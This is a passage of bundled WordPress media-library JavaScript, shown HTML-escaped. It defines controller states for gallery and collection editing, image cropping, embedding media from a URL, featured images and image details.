	 * @since 3.9.0
	 */
	initialize: function() {
		var collectionType = this.get(&#039;collectionType&#039;);

		if ( &#039;video&#039; === this.get( &#039;type&#039; ) ) {
			collectionType = &#039;video-&#039; + collectionType;
		}

		this.set( &#039;id&#039;, collectionType + &#039;-edit&#039; );
		this.set( &#039;toolbar&#039;, collectionType + &#039;-edit&#039; );

		// If we haven&#039;t been provided a `library`, create a `Selection`.
		if ( ! this.get(&#039;library&#039;) ) {
			this.set( &#039;library&#039;, new wp.media.model.Selection() );
		}
		// The single `Attachment` view to be used in the `Attachments` view.
		if ( ! this.get(&#039;AttachmentView&#039;) ) {
			this.set( &#039;AttachmentView&#039;, wp.media.view.Attachment.EditLibrary );
		}
		Library.prototype.initialize.apply( this, arguments );
	},

	/**
	 * @since 3.9.0
	 */
	activate: function() {
		var library = this.get(&#039;library&#039;);

		// Limit the library to images only.
		library.props.set( &#039;type&#039;, this.get( &#039;type&#039; ) );

		// Watch for uploaded attachments.
		this.get(&#039;library&#039;).observe( wp.Uploader.queue );

		this.frame.on( &#039;content:render:browse&#039;, this.renderSettings, this );

		Library.prototype.activate.apply( this, arguments );
	},

	/**
	 * @since 3.9.0
	 */
	deactivate: function() {
		// Stop watching for uploaded attachments.
		this.get(&#039;library&#039;).unobserve( wp.Uploader.queue );

		this.frame.off( &#039;content:render:browse&#039;, this.renderSettings, this );

		Library.prototype.deactivate.apply( this, arguments );
	},

	/**
	 * Render the collection embed settings view in the browser sidebar.
	 *
	 * @todo This is against the pattern elsewhere in media. Typically the frame
	 *       is responsible for adding region mode callbacks. Explain.
	 *
	 * @since 3.9.0
	 *
	 * @param {wp.media.view.attachmentsBrowser} The attachments browser view.
	 */
	renderSettings: function( attachmentsBrowserView ) {
		var library = this.get(&#039;library&#039;),
			collectionType = this.get(&#039;collectionType&#039;),
			dragInfoText = this.get(&#039;dragInfoText&#039;),
			SettingsView = this.get(&#039;SettingsView&#039;),
			obj = {};

		if ( ! library || ! attachmentsBrowserView ) {
			return;
		}

		library[ collectionType ] = library[ collectionType ] || new Backbone.Model();

		obj[ collectionType ] = new SettingsView({
			controller: this,
			model:      library[ collectionType ],
			priority:   40
		});

		attachmentsBrowserView.sidebar.set( obj );

		if ( dragInfoText ) {
			attachmentsBrowserView.toolbar.set( &#039;dragInfo&#039;, new wp.media.View({
				el: $( &#039;&lt;div class=&quot;instructions&quot;&gt;&#039; + dragInfoText + &#039;&lt;/div&gt;&#039; )[0],
				priority: -40
			}) );
		}

		// Add the &#039;Reverse order&#039; button to the toolbar.
		attachmentsBrowserView.toolbar.set( &#039;reverse&#039;, {
			text:     l10n.reverseOrder,
			priority: 80,

			click: function() {
				library.reset( library.toArray().reverse() );
			}
		});
	}
});

module.exports = CollectionEdit;


/***/ },

/***/ 5422
(module) {

var l10n = wp.media.view.l10n,
	Cropper;

/**
 * wp.media.controller.Cropper
 *
 * A class for cropping an image when called from the header media customization panel.
 *
 * @memberOf wp.media.controller
 *
 * @class
 * @augments wp.media.controller.State
 * @augments Backbone.Model
 */
Cropper = wp.media.controller.State.extend(/** @lends wp.media.controller.Cropper.prototype */{
	defaults: {
		id:          &#039;cropper&#039;,
		title:       l10n.cropImage,
		// Region mode defaults.
		toolbar:     &#039;crop&#039;,
		content:     &#039;crop&#039;,
		router:      false,
		canSkipCrop: false,

		// Default doCrop Ajax arguments to allow the Customizer (for example) to inject state.
		doCropArgs: {}
	},

	/**
	 * Shows the crop image window when called from the Add new image button.
	 *
	 * @since 4.2.0
	 *
	 * @return {void}
	 */
	activate: function() {
		this.frame.on( &#039;content:create:crop&#039;, this.createCropContent, this );
		this.frame.on( &#039;close&#039;, this.removeCropper, this );
		this.set(&#039;selection&#039;, new Backbone.Collection(this.frame._selection.single));
	},

	/**
	 * Changes the state of the toolbar window to browse mode.
	 *
	 * @since 4.2.0
	 *
	 * @return {void}
	 */
	deactivate: function() {
		this.frame.toolbar.mode(&#039;browse&#039;);
	},

	/**
	 * Creates the crop image window.
	 *
	 * Initialized when clicking on the Select and Crop button.
	 *
	 * @since 4.2.0
	 *
	 * @fires crop window
	 *
	 * @return {void}
	 */
	createCropContent: function() {
		this.cropperView = new wp.media.view.Cropper({
			controller: this,
			attachment: this.get(&#039;selection&#039;).first()
		});
		this.cropperView.on(&#039;image-loaded&#039;, this.createCropToolbar, this);
		this.frame.content.set(this.cropperView);

	},

	/**
	 * Removes the image selection and closes the cropping window.
	 *
	 * @since 4.2.0
	 *
	 * @return {void}
	 */
	removeCropper: function() {
		this.imgSelect.cancelSelection();
		this.imgSelect.setOptions({remove: true});
		this.imgSelect.update();
		this.cropperView.remove();
	},

	/**
	 * Checks if cropping can be skipped and creates crop toolbar accordingly.
	 *
	 * @since 4.2.0
	 *
	 * @return {void}
	 */
	createCropToolbar: function() {
		var canSkipCrop, hasRequiredAspectRatio, suggestedCropSize, toolbarOptions;

		suggestedCropSize      = this.get( &#039;suggestedCropSize&#039; );
		hasRequiredAspectRatio = this.get( &#039;hasRequiredAspectRatio&#039; );
		canSkipCrop            = this.get( &#039;canSkipCrop&#039; ) || false;

		toolbarOptions = {
			controller: this.frame,
			items: {
				insert: {
					style:    &#039;primary&#039;,
					text:     l10n.cropImage,
					priority: 80,
					requires: { library: false, selection: false },

					click: function() {
						var controller = this.controller,
							selection;

						selection = controller.state().get(&#039;selection&#039;).first();
						selection.set({cropDetails: controller.state().imgSelect.getSelection()});

						this.$el.text(l10n.cropping);
						this.$el.attr(&#039;disabled&#039;, true);

						controller.state().doCrop( selection ).done( function( croppedImage ) {
							controller.trigger(&#039;cropped&#039;, croppedImage );
							controller.close();
						}).fail( function() {
							controller.trigger(&#039;content:error:crop&#039;);
						});
					}
				}
			}
		};

		if ( canSkipCrop || hasRequiredAspectRatio ) {
			_.extend( toolbarOptions.items, {
				skip: {
					style:      &#039;secondary&#039;,
					text:       l10n.skipCropping,
					priority:   70,
					requires:   { library: false, selection: false },
					click:      function() {
						var controller = this.controller,
							selection = controller.state().get( &#039;selection&#039; ).first();

						controller.state().cropperView.remove();

						// Apply the suggested crop size.
						if ( hasRequiredAspectRatio &amp;&amp; !canSkipCrop ) {
							selection.set({cropDetails: suggestedCropSize});
							controller.state().doCrop( selection ).done( function( croppedImage ) {
								controller.trigger( &#039;cropped&#039;, croppedImage );
								controller.close();
							}).fail( function() {
								controller.trigger( &#039;content:error:crop&#039; );
							});
							return;
						}

						// Skip the cropping process.
						controller.trigger( &#039;skippedcrop&#039;, selection );
						controller.close();
					}
				}
			});
		}

		this.frame.toolbar.set( new wp.media.view.Toolbar(toolbarOptions) );
	},

	/**
	 * Creates an object with the image attachment and crop properties.
	 *
	 * @since 4.2.0
	 *
	 * @return {$.promise} A jQuery promise with the custom header crop details.
	 */
	doCrop: function( attachment ) {
		return wp.ajax.post( &#039;custom-header-crop&#039;, _.extend(
			{},
			this.defaults.doCropArgs,
			{
				nonce: attachment.get( &#039;nonces&#039; ).edit,
				id: attachment.get( &#039;id&#039; ),
				cropDetails: attachment.get( &#039;cropDetails&#039; )
			}
		) );
	}
});

module.exports = Cropper;


/***/ },

/***/ 9660
(module) {

var Controller = wp.media.controller,
	CustomizeImageCropper;

/**
 * A state for cropping an image in the customizer.
 *
 * @since 4.3.0
 *
 * @constructs wp.media.controller.CustomizeImageCropper
 * @memberOf wp.media.controller
 * @augments wp.media.controller.CustomizeImageCropper.Cropper
 * @inheritDoc
 */
CustomizeImageCropper = Controller.Cropper.extend(/** @lends wp.media.controller.CustomizeImageCropper.prototype */{
	/**
	 * Posts the crop details to the admin.
	 *
	 * Uses crop measurements when flexible in both directions.
	 * Constrains flexible side based on image ratio and size of the fixed side.
	 *
	 * @since 4.3.0
	 *
	 * @param {Object} attachment The attachment to crop.
	 *
	 * @return {$.promise} A jQuery promise that represents the crop image request.
	 */
	doCrop: function( attachment ) {
		var cropDetails = attachment.get( &#039;cropDetails&#039; ),
			control = this.get( &#039;control&#039; ),
			ratio = cropDetails.width / cropDetails.height;

		// Use crop measurements when flexible in both directions.
		if ( control.params.flex_width &amp;&amp; control.params.flex_height ) {
			cropDetails.dst_width  = cropDetails.width;
			cropDetails.dst_height = cropDetails.height;

		// Constrain flexible side based on image ratio and size of the fixed side.
		} else {
			cropDetails.dst_width  = control.params.flex_width  ? control.params.height * ratio : control.params.width;
			cropDetails.dst_height = control.params.flex_height ? control.params.width  / ratio : control.params.height;
		}

		return wp.ajax.post( &#039;crop-image&#039;, {
			wp_customize: &#039;on&#039;,
			nonce: attachment.get( &#039;nonces&#039; ).edit,
			id: attachment.get( &#039;id&#039; ),
			context: control.id,
			cropDetails: cropDetails
		} );
	}
});

module.exports = CustomizeImageCropper;


/***/ },

/***/ 5663
(module) {

var l10n = wp.media.view.l10n,
	EditImage;

/**
 * wp.media.controller.EditImage
 *
 * A state for editing (cropping, etc.) an image.
 *
 * @memberOf wp.media.controller
 *
 * @class
 * @augments wp.media.controller.State
 * @augments Backbone.Model
 *
 * @param {object}                    attributes                      The attributes hash passed to the state.
 * @param {wp.media.model.Attachment} attributes.model                The attachment.
 * @param {string}                    [attributes.id=edit-image]      Unique identifier.
 * @param {string}                    [attributes.title=Edit Image]   Title for the state. Displays in the media menu and the frame&#039;s title region.
 * @param {string}                    [attributes.content=edit-image] Initial mode for the content region.
 * @param {string}                    [attributes.toolbar=edit-image] Initial mode for the toolbar region.
 * @param {string}                    [attributes.menu=false]         Initial mode for the menu region.
 * @param {string}                    [attributes.url]                Unused. @todo Consider removal.
 */
EditImage = wp.media.controller.State.extend(/** @lends wp.media.controller.EditImage.prototype */{
	defaults: {
		id:      &#039;edit-image&#039;,
		title:   l10n.editImage,
		menu:    false,
		toolbar: &#039;edit-image&#039;,
		content: &#039;edit-image&#039;,
		url:     &#039;&#039;
	},

	/**
	 * Activates a frame for editing a featured image.
	 *
	 * @since 3.9.0
	 *
	 * @return {void}
	 */
	activate: function() {
		this.frame.on( &#039;toolbar:render:edit-image&#039;, _.bind( this.toolbar, this ) );
	},

	/**
	 * Deactivates a frame for editing a featured image.
	 *
	 * @since 3.9.0
	 *
	 * @return {void}
	 */
	deactivate: function() {
		this.frame.off( &#039;toolbar:render:edit-image&#039; );
	},

	/**
	 * Adds a toolbar with a back button.
	 *
	 * When the back button is pressed it checks whether there is a previous state.
	 * In case there is a previous state it sets that previous state otherwise it
	 * closes the frame.
	 *
	 * @since 3.9.0
	 *
	 * @return {void}
	 */
	toolbar: function() {
		var frame = this.frame,
			lastState = frame.lastState(),
			previous = lastState &amp;&amp; lastState.id;

		frame.toolbar.set( new wp.media.view.Toolbar({
			controller: frame,
			items: {
				back: {
					style: &#039;primary&#039;,
					text:     l10n.back,
					priority: 20,
					click:    function() {
						if ( previous ) {
							frame.setState( previous );
						} else {
							frame.close();
						}
					}
				}
			}
		}) );
	}
});

module.exports = EditImage;


/***/ },

/***/ 4910
(module) {

var l10n = wp.media.view.l10n,
	$ = Backbone.$,
	Embed;

/**
 * wp.media.controller.Embed
 *
 * A state for embedding media from a URL.
 *
 * @memberOf wp.media.controller
 *
 * @class
 * @augments wp.media.controller.State
 * @augments Backbone.Model
 *
 * @param {object} attributes                         The attributes hash passed to the state.
 * @param {string} [attributes.id=embed]              Unique identifier.
 * @param {string} [attributes.title=Insert From URL] Title for the state. Displays in the media menu and the frame&#039;s title region.
 * @param {string} [attributes.content=embed]         Initial mode for the content region.
 * @param {string} [attributes.menu=default]          Initial mode for the menu region.
 * @param {string} [attributes.toolbar=main-embed]    Initial mode for the toolbar region.
 * @param {string} [attributes.menu=false]            Initial mode for the menu region.
 * @param {int}    [attributes.priority=120]          The priority for the state link in the media menu.
 * @param {string} [attributes.type=link]             The type of embed. Currently only link is supported.
 * @param {string} [attributes.url]                   The embed URL.
 * @param {object} [attributes.metadata={}]           Properties of the embed, which will override attributes.url if set.
 */
Embed = wp.media.controller.State.extend(/** @lends wp.media.controller.Embed.prototype */{
	defaults: {
		id:       &#039;embed&#039;,
		title:    l10n.insertFromUrlTitle,
		content:  &#039;embed&#039;,
		menu:     &#039;default&#039;,
		toolbar:  &#039;main-embed&#039;,
		priority: 120,
		type:     &#039;link&#039;,
		url:      &#039;&#039;,
		metadata: {}
	},

	// The amount of time used when debouncing the scan.
	sensitivity: 400,

	initialize: function(options) {
		this.metadata = options.metadata;
		this.debouncedScan = _.debounce( _.bind( this.scan, this ), this.sensitivity );
		this.props = new Backbone.Model( this.metadata || { url: &#039;&#039; });
		this.props.on( &#039;change:url&#039;, this.debouncedScan, this );
		this.props.on( &#039;change:url&#039;, this.refresh, this );
		this.on( &#039;scan&#039;, this.scanImage, this );
	},

	/**
	 * Trigger a scan of the embedded URL&#039;s content for metadata required to embed.
	 *
	 * @fires wp.media.controller.Embed#scan
	 */
	scan: function() {
		var scanners,
			embed = this,
			attributes = {
				type: &#039;link&#039;,
				scanners: []
			};

		/*
		 * Scan is triggered with the list of `attributes` to set on the
		 * state, useful for the &#039;type&#039; attribute and &#039;scanners&#039; attribute,
		 * an array of promise objects for asynchronous scan operations.
		 */
		if ( this.props.get(&#039;url&#039;) ) {
			this.trigger( &#039;scan&#039;, attributes );
		}

		if ( attributes.scanners.length ) {
			scanners = attributes.scanners = $.when.apply( $, attributes.scanners );
			scanners.always( function() {
				if ( embed.get(&#039;scanners&#039;) === scanners ) {
					embed.set( &#039;loading&#039;, false );
				}
			});
		} else {
			attributes.scanners = null;
		}

		attributes.loading = !! attributes.scanners;
		this.set( attributes );
	},
	/**
	 * Try scanning the embed as an image to discover its dimensions.
	 *
	 * @param {Object} attributes
	 */
	scanImage: function( attributes ) {
		var frame = this.frame,
			state = this,
			url = this.props.get(&#039;url&#039;),
			image = new Image(),
			deferred = $.Deferred();

		attributes.scanners.push( deferred.promise() );

		// Try to load the image and find its width/height.
		image.onload = function() {
			deferred.resolve();

			if ( state !== frame.state() || url !== state.props.get(&#039;url&#039;) ) {
				return;
			}

			state.set({
				type: &#039;image&#039;
			});

			state.props.set({
				width:  image.width,
				height: image.height
			});
		};

		image.onerror = deferred.reject;
		image.src = url;
	},

	refresh: function() {
		this.frame.toolbar.get().refresh();
	},

	reset: function() {
		this.props.clear().set({ url: &#039;&#039; });

		if ( this.active ) {
			this.refresh();
		}
	}
});

module.exports = Embed;


/***/ },

/***/ 1169
(module) {

var Attachment = wp.media.model.Attachment,
	Library = wp.media.controller.Library,
	l10n = wp.media.view.l10n,
	FeaturedImage;

/**
 * wp.media.controller.FeaturedImage
 *
 * A state for selecting a featured image for a post.
 *
 * @memberOf wp.media.controller
 *
 * @class
 * @augments wp.media.controller.Library
 * @augments wp.media.controller.State
 * @augments Backbone.Model
 *
 * @param {object}                     [attributes]                          The attributes hash passed to the state.
 * @param {string}                     [attributes.id=featured-image]        Unique identifier.
 * @param {string}                     [attributes.title=Set Featured Image] Title for the state. Displays in the media menu and the frame&#039;s title region.
 * @param {wp.media.model.Attachments} [attributes.library]                  The attachments collection to browse.
 *                                                                           If one is not supplied, a collection of all images will be created.
 * @param {boolean}                    [attributes.multiple=false]           Whether multi-select is enabled.
 * @param {string}                     [attributes.content=upload]           Initial mode for the content region.
 *                                                                           Overridden by persistent user setting if &#039;contentUserSetting&#039; is true.
 * @param {string}                     [attributes.menu=default]             Initial mode for the menu region.
 * @param {string}                     [attributes.router=browse]            Initial mode for the router region.
 * @param {string}                     [attributes.toolbar=featured-image]   Initial mode for the toolbar region.
 * @param {int}                        [attributes.priority=60]              The priority for the state link in the media menu.
 * @param {boolean}                    [attributes.searchable=true]          Whether the library is searchable.
 * @param {boolean|string}             [attributes.filterable=false]         Whether the library is filterable, and if so what filters should be shown.
 *                                                                           Accepts &#039;all&#039;, &#039;uploaded&#039;, or &#039;unattached&#039;.
 * @param {boolean}                    [attributes.sortable=true]            Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
 * @param {boolean}                    [attributes.autoSelect=true]          Whether an uploaded attachment should be automatically added to the selection.
 * @param {boolean}                    [attributes.describe=false]           Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
 * @param {boolean}                    [attributes.contentUserSetting=true]  Whether the content region&#039;s mode should be set and persisted per user.
 * @param {boolean}                    [attributes.syncSelection=true]       Whether the Attachments selection should be persisted from the last state.
 */
FeaturedImage = Library.extend(/** @lends wp.media.controller.FeaturedImage.prototype */{
	defaults: _.defaults({
		id:            &#039;featured-image&#039;,
		title:         l10n.setFeaturedImageTitle,
		multiple:      false,
		filterable:    &#039;uploaded&#039;,
		toolbar:       &#039;featured-image&#039;,
		priority:      60,
		syncSelection: true
	}, Library.prototype.defaults ),

	/**
	 * @since 3.5.0
	 */
	initialize: function() {
		var library, comparator;

		// If we haven&#039;t been provided a `library`, create a `Selection`.
		if ( ! this.get(&#039;library&#039;) ) {
			this.set( &#039;library&#039;, wp.media.query({ type: &#039;image&#039; }) );
		}

		Library.prototype.initialize.apply( this, arguments );

		library    = this.get(&#039;library&#039;);
		comparator = library.comparator;

		// Overload the library&#039;s comparator to push items that are not in
		// the mirrored query to the front of the aggregate collection.
		library.comparator = function( a, b ) {
			var aInQuery = !! this.mirroring.get( a.cid ),
				bInQuery = !! this.mirroring.get( b.cid );

			if ( ! aInQuery &amp;&amp; bInQuery ) {
				return -1;
			} else if ( aInQuery &amp;&amp; ! bInQuery ) {
				return 1;
			} else {
				return comparator.apply( this, arguments );
			}
		};

		// Add all items in the selection to the library, so any featured
		// images that are not initially loaded still appear.
		library.observe( this.get(&#039;selection&#039;) );
	},

	/**
	 * @since 3.5.0
	 */
	activate: function() {
		this.frame.on( &#039;open&#039;, this.updateSelection, this );

		Library.prototype.activate.apply( this, arguments );
	},

	/**
	 * @since 3.5.0
	 */
	deactivate: function() {
		this.frame.off( &#039;open&#039;, this.updateSelection, this );

		Library.prototype.deactivate.apply( this, arguments );
	},

	/**
	 * @since 3.5.0
	 */
	updateSelection: function() {
		var selection = this.get(&#039;selection&#039;),
			id = wp.media.view.settings.post.featuredImageId,
			attachment;

		if ( &#039;&#039; !== id &amp;&amp; -1 !== id ) {
			attachment = Attachment.get( id );
			attachment.fetch();
		}

		selection.reset( attachment ? [ attachment ] : [] );
	}
});

module.exports = FeaturedImage;


/***/ },

/***/ 7127
(module) {

var Selection = wp.media.model.Selection,
	Library = wp.media.controller.Library,
	l10n = wp.media.view.l10n,
	GalleryAdd;

/**
 * wp.media.controller.GalleryAdd
 *
 * A state for selecting more images to add to a gallery.
 *
 * @since 3.5.0
 *
 * @class
 * @augments wp.media.controller.Library
 * @augments wp.media.controller.State
 * @augments Backbone.Model
 *
 * @memberof wp.media.controller
 *
 * @param {Object}                     [attributes]                         The attributes hash passed to the state.
 * @param {string}                     [attributes.id=gallery-library]      Unique identifier.
 * @param {string}                     [attributes.title=Add to Gallery]    Title for the state. Displays in the frame&#039;s title region.
 * @param {boolean|string}             [attributes.multiple=add]            Whether multi-select is enabled. Accepts &#039;add&#039; or true.
 *                                                                          When set to true, requires Shift or Cmd/Ctrl to select multiple items.
 *                                                                          When set to &#039;add&#039;, allows selecting multiple items by clicking thumbnails.
 * @param {wp.media.model.Attachments} [attributes.library]                 The attachments collection to browse.
 *                                                                          If one is not supplied, a collection of all images will be created.
 * @param {boolean|string}             [attributes.filterable=uploaded]     Whether the library is filterable, and if so what filters should be shown.
 *                                                                          Accepts &#039;all&#039;, &#039;uploaded&#039;, or &#039;unattached&#039;.
 * @param {string}                     [attributes.menu=gallery]            Initial mode for the menu region.
 * @param {string}                     [attributes.content=upload]          Initial mode for the content region.
 *                                                                          Overridden by persistent user setting if &#039;contentUserSetting&#039; is true.
 * @param {string}                     [attributes.router=browse]           Initial mode for the router region.
 * @param {string}                     [attributes.toolbar=gallery-add]     Initial mode for the toolbar region.
 * @param {boolean}                    [attributes.searchable=true]         Whether the library is searchable.
 * @param {boolean}                    [attributes.sortable=true]           Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
 * @param {boolean}                    [attributes.autoSelect=true]         Whether an uploaded attachment should be automatically added to the selection.
 * @param {boolean}                    [attributes.contentUserSetting=true] Whether the content region&#039;s mode should be set and persisted per user.
 * @param {number}                     [attributes.priority=100]            The priority for the state link in the media menu.
 * @param {boolean}                    [attributes.syncSelection=false]     Whether the Attachments selection should be persisted from the last state.
 *                                                                          Defaults to false because for this state, because the library of the Edit Gallery state is the selection.
 */
GalleryAdd = Library.extend(/** @lends wp.media.controller.GalleryAdd.prototype */{
	defaults: _.defaults({
		id:            &#039;gallery-library&#039;,
		title:         l10n.addToGalleryTitle,
		multiple:      &#039;add&#039;,
		filterable:    &#039;uploaded&#039;,
		menu:          &#039;gallery&#039;,
		toolbar:       &#039;gallery-add&#039;,
		priority:      100,
		syncSelection: false
	}, Library.prototype.defaults ),

	/**
	 * Initializes the library. Creates a library of images if a library isn&#039;t supplied.
	 *
	 * @since 3.5.0
	 *
	 * @return {void}
	 */
	initialize: function() {
		if ( ! this.get(&#039;library&#039;) ) {
			this.set( &#039;library&#039;, wp.media.query({ type: &#039;image&#039; }) );
		}

		Library.prototype.initialize.apply( this, arguments );
	},

	/**
	 * Activates the library.
	 *
	 * Removes all event listeners if in edit mode. Creates a validator to check an attachment.
	 * Resets library and re-enables event listeners. Activates edit mode. Calls the parent&#039;s activate method.
	 *
	 * @since 3.5.0
	 *
	 * @return {void}
	 */
	activate: function() {
		var library = this.get(&#039;library&#039;),
			edit    = this.frame.state(&#039;gallery-edit&#039;).get(&#039;library&#039;);

		if ( this.editLibrary &amp;&amp; this.editLibrary !== edit ) {
			library.unobserve( this.editLibrary );
		}

		/*
		 * Accept attachments that exist in the original library but
		 * that do not exist in gallery&#039;s library yet.
		 */
		library.validator = function( attachment ) {
			return !! this.mirroring.get( attachment.cid ) &amp;&amp; ! edit.get( attachment.cid ) &amp;&amp; Selection.prototype.validator.apply( this, arguments );
		};

		/*
		 * Reset the library to ensure that all attachments are re-added
		 * to the collection. Do so silently, as calling `observe` will
		 * trigger the `reset` event.
		 */
		library.reset( library.mirroring.models, { silent: true });
		library.observe( edit );
		this.editLibrary = edit;

		Library.prototype.activate.apply( this, arguments );
	}
});

module.exports = GalleryAdd;


/***/ },

/***/ 2038
(module) {

var Library = wp.media.controller.Library,
	l10n = wp.media.view.l10n,
	GalleryEdit;

/**
 * wp.media.controller.GalleryEdit
 *
 * A state for editing a gallery&#039;s images and settings.
 *
 * @since 3.5.0
 *
 * @class
 * @augments wp.media.controller.Library
 * @augments wp.media.controller.State
 * @augments Backbone.Model
 *
 * @memberOf wp.media.controller
 *
 * @param {Object}                     [attributes]                       The attributes hash passed to the state.
 * @param {string}                     [attributes.id=gallery-edit]       Unique identifier.
 * @param {string}                     [attributes.title=Edit Gallery]    Title for the state. Displays in the frame&#039;s title region.
 * @param {wp.media.model.Attachments} [attributes.library]               The collection of attachments in the gallery.
 *                                                                        If one is not supplied, an empty media.model.Selection collection is created.
 * @param {boolean}                    [attributes.multiple=false]        Whether multi-select is enabled.
 * @param {boolean}                    [attributes.searchable=false]      Whether the library is searchable.
 * @param {boolean}                    [attributes.sortable=true]         Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
 * @param {boolean}                    [attributes.date=true]             Whether to show the date filter in the browser&#039;s toolbar.
 * @param {string|false}               [attributes.content=browse]        Initial mode for the content region.
 * @param {string|false}               [attributes.toolbar=image-details] Initial mode for the toolbar region.
 * @param {boolean}                    [attributes.describe=true]         Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
 * @param {boolean}                    [attributes.displaySettings=true]  Whether to show the attachment display settings interface.
 * @param {boolean}                    [attributes.dragInfo=true]         Whether to show instructional text about the attachments being sortable.
 * @param {number}                     [attributes.idealColumnWidth=170]  The ideal column width in pixels for attachments.
 * @param {boolean}                    [attributes.editing=false]         Whether the gallery is being created, or editing an existing instance.
 * @param {number}                     [attributes.priority=60]           The priority for the state link in the media menu.
 * @param {boolean}                    [attributes.syncSelection=false]   Whether the Attachments selection should be persisted from the last state.
 *                                                                        Defaults to false for this state, because the library passed in  *is* the selection.
 * @param {view}                       [attributes.AttachmentView]        The single `Attachment` view to be used in the `Attachments`.
 *                                                                        If none supplied, defaults to wp.media.view.Attachment.EditLibrary.
 */
GalleryEdit = Library.extend(/** @lends wp.media.controller.GalleryEdit.prototype */{
	defaults: {
		id:               &#039;gallery-edit&#039;,
		title:            l10n.editGalleryTitle,
		multiple:         false,
		searchable:       false,
		sortable:         true,
		date:             false,
		display:          false,
		content:          &#039;browse&#039;,
		toolbar:          &#039;gallery-edit&#039;,
		describe:         true,
		displaySettings:  true,
		dragInfo:         true,
		idealColumnWidth: 170,
		editing:          false,
		priority:         60,
		syncSelection:    false
	},

	/**
	 * Initializes the library.
	 *
	 * Creates a selection if a library isn&#039;t supplied and creates an attachment
	 * view if no attachment view is supplied.
	 *
	 * @since 3.5.0
	 *
	 * @return {void}
	 */
	initialize: function() {
		// If we haven&#039;t been provided a `library`, create a `Selection`.
		if ( ! this.get(&#039;library&#039;) ) {
			this.set( &#039;library&#039;, new wp.media.model.Selection() );
		}

		// The single `Attachment` view to be used in the `Attachments` view.
		if ( ! this.get(&#039;AttachmentView&#039;) ) {
			this.set( &#039;AttachmentView&#039;, wp.media.view.Attachment.EditLibrary );
		}

		Library.prototype.initialize.apply( this, arguments );
	},

	/**
	 * Activates the library.
	 *
	 * Limits the library to images, watches for uploaded attachments. Watches for
	 * the browse event on the frame and binds it to gallerySettings.
	 *
	 * @since 3.5.0
	 *
	 * @return {void}
	 */
	activate: function() {
		var library = this.get(&#039;library&#039;);

		// Limit the library to images only.
		library.props.set( &#039;type&#039;, &#039;image&#039; );

		// Watch for uploaded attachments.
		this.get(&#039;library&#039;).observe( wp.Uploader.queue );

		this.frame.on( &#039;content:render:browse&#039;, this.gallerySettings, this );

		Library.prototype.activate.apply( this, arguments );
	},

	/**
	 * Deactivates the library.
	 *
	 * Stops watching for uploaded attachments and browse events.
	 *
	 * @since 3.5.0
	 *
	 * @return {void}
	 */
	deactivate: function() {
		// Stop watching for uploaded attachments.
		this.get(&#039;library&#039;).unobserve( wp.Uploader.queue );

		this.frame.off( &#039;content:render:browse&#039;, this.gallerySettings, this );

		Library.prototype.deactivate.apply( this, arguments );
	},

	/**
	 * Adds the gallery settings to the sidebar and adds a reverse button to the
	 * toolbar.
	 *
	 * @since 3.5.0
	 *
	 * @param {wp.media.view.Frame} browser The file browser.
	 *
	 * @return {void}
	 */
	gallerySettings: function( browser ) {
		if ( ! this.get(&#039;displaySettings&#039;) ) {
			return;
		}

		var library = this.get(&#039;library&#039;);

		if ( ! library || ! browser ) {
			return;
		}

		library.gallery = library.gallery || new Backbone.Model();

		browser.sidebar.set({
			gallery: new wp.media.view.Settings.Gallery({
				controller: this,
				model:      library.gallery,
				priority:   40
			})
		});

		browser.toolbar.set( &#039;reverse&#039;, {
			text:     l10n.reverseOrder,
			priority: 80,

			click: function() {
				library.reset( library.toArray().reverse() );
			}
		});
	}
});

module.exports = GalleryEdit;


/***/ },

/***/ 705
(module) {

var State = wp.media.controller.State,
	Library = wp.media.controller.Library,
	l10n = wp.media.view.l10n,
	ImageDetails;

/**
 * wp.media.controller.ImageDetails
 *
 * A state for editing the attachment display settings of an image that&#039;s been
 * inserted into the editor.
 *
 * @memberOf wp.media.controller
 *
 * @class
 * @augments wp.media.controller.State
 * @augments Backbone.Model
 *
 * @param {object}                    [attributes]                       The attributes hash passed to the state.
 * @param {string}                    [attributes.id=image-details]      Unique identifier.
 * @param {string}                    [attributes.title=Image Details]   Title for the state. Displays in the frame&#039;s title region.
 * @param {wp.media.model.Attachment} attributes.image                   The image&#039;s model.
 * @param {string|false}              [attributes.content=image-details] Initial mode for the content region.
 * @param {string|false}              [attributes.menu=false]            Initial mode for the menu region.
 * @param {string|false}              [attributes.router=false]          Initial mode for the router region.
 * @param {string|false}              [attributes.toolbar=image-details] Initial mode for the toolbar region.
 * @param {boolean}                   [attributes.editing=false]         Unused.
 * @param {int}                       [attributes.priority=60]           Unused.
 *
 * @todo This state inherits some defaults from media.controller.Library.prototype.defaults,
 *       however this may not do anything.
 */
ImageDetails = State.extend(/** @lends wp.media.controller.ImageDetails.prototype */{
	defaults: _.defaults({
		id:       &#039;image-details&#039;,
		title:    l10n.imageDetailsTitle,
		content:  &#039;image-details&#039;,
		menu:     false,
		router:   false,
		toolbar:  &#039;image-details&#039;,
		editing:  false,
		priority: 60
	}, Library.prototype.defaults ),

	/**
	 * @since 3.9.0
	 *
	 * @param options Attributes
	 */
	initialize: function( options ) {
		this.image = options.image;
		State.prototype.initialize.apply( this, arguments );
	},

	/**
	 * @since 3.9.0
	 */
	activate: function() {
		this.frame.modal.$el.addClass(&#039;image-details&#039;);
	}
});

module.exports = ImageDetails;


/***/ },

/***/ 472
(module) {

var l10n = wp.media.view.l10n,
	getUserSetting = window.getUserSetting,
	setUserSetting = window.setUserSetting,
	Library;

/**
 * wp.media.controller.Library
 *
 * A state for choosing an attachment or group of attachments from the media library.
 *
 * @memberOf wp.media.controller
 *
 * @class
 * @augments wp.media.controller.State
 * @augments Backbone.Model
 * @mixes media.selectionSync
 *
 * @param {object}                          [attributes]                         The attributes hash passed to the state.
 * @param {string}                          [attributes.id=library]              Unique identifier.
 * @param {string}                          [attributes.title=Media library]     Title for the state. Displays in the media menu and the frame&#039;s title region.
 * @param {wp.media.model.Attachments}      [attributes.library]                 The attachments collection to browse.
 *                                                                               If one is not supplied, a collection of all attachments will be created.
 * @param {wp.media.model.Selection|object} [attributes.selection]               A collection to contain attachment selections within the state.
 *                                                                               If the &#039;selection&#039; attribute is a plain JS object,
 *                                                                               a Selection will be created using its values as the selection instance&#039;s `props` model.
 *                                                                               Otherwise, it will copy the library&#039;s `props` model.
